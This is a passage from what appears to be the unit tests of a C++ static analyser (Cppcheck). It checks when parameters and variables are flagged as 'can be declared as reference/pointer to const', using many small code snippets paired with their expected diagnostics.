y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool from_string(int& t, const std::string& s) {\\n\"\n \" std::istringstream iss(s);\\n\"\n \" return !(iss >> t).fail();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9710\n check(\"class a {\\n\"\n \" void operator()(int& i) const {\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(int& i) const {\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a x;\\n\"\n \" x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(const int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a x;\\n\"\n \" x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'i' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n //cast or assignment to a non-const reference should prevent the warning\n check(\"struct T { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const T& z = x;\\n\" // Make sure we find all assignments\n \" T& y = x;\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = x\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = x;\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" my::type& y = x;\\n\" // we don't know if y is const or not\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = static_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = static_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x)\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = dynamic_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = dynamic_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U* y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U * y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U const * y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * const * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * const * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" my::fancy const * const * const y = dynamic_cast const * const * const>(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = (const U&)(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = (U&)(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = (typename const U&)(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = (typename U&)(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U* y = (U*)(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n check(\"struct C { void f() const; };\\n\" // #9875 - crash\n \"\\n\"\n \"void foo(C& x) {\\n\"\n \" x.f();\\n\"\n \" foo( static_cast(0) );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"class a {\\n\"\n \" void foo(const int& i) const;\\n\"\n \" void operator()(int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(const int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'i' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n // #9767\n check(\"void fct1(MyClass& object) {\\n\"\n \" fct2([&](void){}, object);\\n\"\n \"}\\n\"\n \"bool fct2(std::function lambdaExpression, MyClass& object) {\\n\"\n \" object.modify();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9778\n check(\"struct A {};\\n\"\n \"struct B : A {};\\n\"\n \"B& f(A& x) {\\n\"\n \" return static_cast(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10002\n check(\"using A = int*;\\n\"\n \"void f(const A& x) {\\n\"\n \" ++(*x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10086\n check(\"struct V {\\n\"\n \" V& get(typename std::vector::size_type i) {\\n\"\n \" std::vector& arr = v;\\n\"\n \" return arr[i];\\n\"\n \" }\\n\"\n \" std::vector v;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void e();\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void ai(void);\\n\"\n \"void j(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void l(void);\\n\"\n \"void m(void);\\n\"\n \"void n(void);\\n\"\n \"void o(void);\\n\"\n \"void q(void);\\n\"\n \"void r(void);\\n\"\n \"void t(void);\\n\"\n \"void u(void);\\n\"\n \"void v(void);\\n\"\n \"void w(void);\\n\"\n \"void z(void);\\n\"\n \"void aj(void);\\n\"\n \"void am(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void ao(wchar_t *d);\\n\"\n \"void ah(void);\\n\"\n \"void e(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void k(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void k(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void ap(wchar_t *c, int d);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void aq(char *b, size_t d, char *c, int a);\\n\"\n \"void ar(char *b, size_t d, char *c, va_list a);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void as(std::string s);\\n\"\n \"void at(std::ifstream &f);\\n\"\n \"void au(std::istream &f);\\n\"\n \"void av(std::string &aa, std::wstring &ab);\\n\"\n \"void aw(bool b, double x, double y);\\n\"\n \"void ax(int i);\\n\"\n \"void ay(std::string c, std::wstring a);\\n\"\n \"void az(const std::locale &ac);\\n\"\n \"void an();\\n\"\n \"void ba(std::ifstream &f);\\n\"\n \"void bb(std::istream &f) {\\n\"\n \"f.read(NULL, 0);\\n\"\n \"}\\n\"\n \"void h(void) {\\n\"\n \"struct tm *tm = 0;\\n\"\n \"(void)std::asctime(tm);\\n\"\n \"(void)std::asctime(0);\\n\"\n \"}\\n\"\n \"void bc(size_t ae) {\\n\"\n \"wchar_t *ad = 0, *af = 0;\\n\"\n \"struct tm *ag = 0;\\n\"\n \"(void)std::wcsftime(ad, ae, af, ag);\\n\"\n \"(void)std::wcsftime(0, ae, 0, 0);\\n\"\n \"}\\n\"\n \"void k(void) {}\\n\"\n \"void bd(void);\\n\"\n \"void be(void);\\n\"\n \"void bf(int b);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void bg(wchar_t *p);\\n\"\n \"void bh(const std::list &ak, const std::list &al);\\n\"\n \"void ah();\\n\"\n \"void an();\\n\"\n \"void h();\");\n ASSERT_EQUALS(\"[test.cpp:131:12]: (style) Variable 'tm' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:136:19]: (style) Variable 'af' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:137:12]: (style) Variable 'ag' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&) noexcept;\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i) noexcept\\n\"\n \" : c(i)\\n\"\n \"{}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(const int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int, int);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(0, i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"void f(std::map> &map) {\\n\" // #10266\n \" for (auto &[slave, panels] : map)\\n\"\n \" panels.erase(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { void f(); int i; };\\n\"\n \"void call_f(S& s) { (s.*(&S::f))(); }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a[1]; };\\n\"\n \"void f(S& s) { int* p = s.a; *p = 0; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {\\n\" // #9910\n \" int* p{};\\n\"\n \" int* get() { return p; }\\n\"\n \" const int* get() const { return p; }\\n\"\n \"};\\n\"\n \"struct Bar {\\n\"\n \" int j{};\\n\"\n \" void f(Foo& foo) const { int* q = foo.get(); *q = j; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #10679\n \" void g(long L, const C*& PC) const;\\n\"\n \" void g(long L, C*& PC);\\n\"\n \"};\\n\"\n \"void f(S& s) {\\n\"\n \" C* PC{};\\n\"\n \" s.g(0, PC);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10785\n check(\"template \\n\"\n \"struct d {\\n\"\n \" T& g(C& c, T C::*f) { return c.*f; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map& m) {\\n\"\n \" std::cout << m[0] << std::endl;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector>& v) {\\n\" // #11607\n \" for (auto& m : v)\\n\"\n \" std::cout << m[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int i; };\\n\" // #11473\n \"void f(std::vector>&m, int*& p) {\\n\"\n \" auto& a = m[0];\\n\"\n \" for (auto& s : a) {\\n\"\n \" p = &s.i;\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& g(int* p, int& r) {\\n\" // #11625\n \" if (p)\\n\"\n \" return *p;\\n\"\n \" return r;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template void f(std::vector& d, const std::vector& s) {\\n\" // #11632\n \" for (const auto& e : s) {\\n\"\n \" T* newE = new T(*e);\\n\"\n \" d.push_back(newE);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11682\n check(\"struct b {\\n\"\n \" void mutate();\\n\"\n \"};\\n\"\n \"struct c {\\n\"\n \" const b& get() const;\\n\"\n \" b get();\\n\"\n \"};\\n\"\n \"struct d {\\n\"\n \" void f(c& e) const {\\n\"\n \" e.get().mutate();\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct B { virtual void f() const {} };\\n\" // #11528\n \"struct D : B {};\\n\"\n \"void g(B* b) {\\n\"\n \" D* d = dynamic_cast(b);\\n\"\n \" if (d)\\n\"\n \" d->f();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:4:8]: (style) Variable 'd' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void g(const int*);\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" for (int* i : v)\\n\"\n \" g(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:15]: (style) Variable 'i' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct A {\\n\" // #11225\n \" A();\\n\"\n \" virtual ~A();\\n\"\n \"};\\n\"\n \"struct B : A {};\\n\"\n \"void f(A* a) {\\n\"\n \" const B* b = dynamic_cast(a);\\n\"\n \"}\\n\"\n \"void g(A* a) {\\n\"\n \" const B* b = (const B*)a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:6:11]: (style) Parameter 'a' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:9:11]: (style) Parameter 'a' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(std::vector& v) {\\n\"\n \" g(v.data());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(const int*);\\n\"\n \"void f(std::vector& v) {\\n\"\n \" g(v.data());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct a {\\n\"\n \" template \\n\"\n \" void mutate();\\n\"\n \"};\\n\"\n \"struct b {};\\n\"\n \"template \\n\"\n \"void f(a& x) {\\n\"\n \" x.mutate();\\n\"\n \"}\\n\"\n \"template \\n\"\n \"void f(const b&)\\n\"\n \"{}\\n\"\n \"void g(a& c) { f(c); }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" template \\n\"\n \" T* g() {\\n\"\n \" return reinterpret_cast(m);\\n\"\n \" }\\n\"\n \" template \\n\"\n \" const T* g() const {\\n\"\n \" return reinterpret_cast(m);\\n\"\n \" }\\n\"\n \" char* m;\\n\"\n \"};\\n\"\n \"void f(S& s) {\\n\"\n \" const int* p = s.g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int x; };\\n\" // #11818\n \"std::istream& f(std::istream& is, S& s) {\\n\"\n \" return is >> s.x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(std::string& s1, std::string& s2) {\\n\" // #12203\n \" return &s1 == &s2;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:21]: (style) Parameter 's1' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:1:38]: (style) Parameter 's2' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void f(int& r) {\\n\" // #12214\n \" (void)(true);\\n\"\n \" if (r) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'r' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct S { void f(int&); };\\n\" // #12216\n \"void g(S& s, int& r, void (S::* p2m)(int&)) {\\n\"\n \" (s.*p2m)(r);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" void f(int& r) { p = &r; }\\n\"\n \" int* p;\\n\"\n \"};\\n\"\n \"void g(std::vector& v1, std::vector& v2) {\\n\"\n \" std::transform(v1.begin(), v1.end(), v2.begin(), [](auto& x) { return &x; });\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class T;\\n\" // #11869\n \"class E {\\n\"\n \"public:\\n\"\n \" class F {\\n\"\n \" public:\\n\"\n \" explicit F(const T* t);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"void f(T& t) {\\n\"\n \" std::list c(1, E::F(&t));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:11]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct T;\\n\"\n \"struct U {\\n\"\n \" struct V { explicit V(const T* p); };\\n\"\n \"};\\n\"\n \"void g(U::V v);\\n\"\n \"void f(T& t) {\\n\"\n \" g(U::V(&t));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:11]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f1(std::vector& v) {\\n\" // #11207\n \" auto it = v.cbegin();\\n\"\n \" while (it != v.cend()) {\\n\"\n \" if (*it > 12) {}\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f2(std::vector& v) {\\n\"\n \" auto it = v.begin();\\n\"\n \" while (it != v.end()) {\\n\"\n \" if (*it > 12) {}\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:8:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void cb(const std::string&);\\n\" // #12349, #12350, #12351\n \"void f(std::string& s) {\\n\"\n \" const std::string& str(s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void g(std::string& s) {\\n\"\n \" const std::string& str{ s };\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void h(std::string* s) {\\n\"\n \" const std::string& str(*s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void k(std::string* s) {\\n\"\n \" const std::string& str = *s;\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void m(std::string& s) {\\n\"\n \" const std::string str(s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void n(std::string* s) {\\n\"\n \" const std::string& str(*s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:6:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:18:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:10:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:14:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:22:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" S(std::string& r);\\n\"\n \"};\\n\"\n \"void f(std::string& str) {\\n\"\n \" const S& s(str);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct C {\\n\" // #10052\n \" int& operator()(int);\\n\"\n \"};\\n\"\n \"void f(std::vector& c) {\\n\"\n \" c[0](5) = 12;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int& t) {\\n\" // #11713\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:12]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(std::list& v) {\\n\" // #12202\n \" v.remove_if([](std::string& s) {\\n\"\n \" return true;\\n\"\n \" });\\n\"\n \"}\\n\");\n 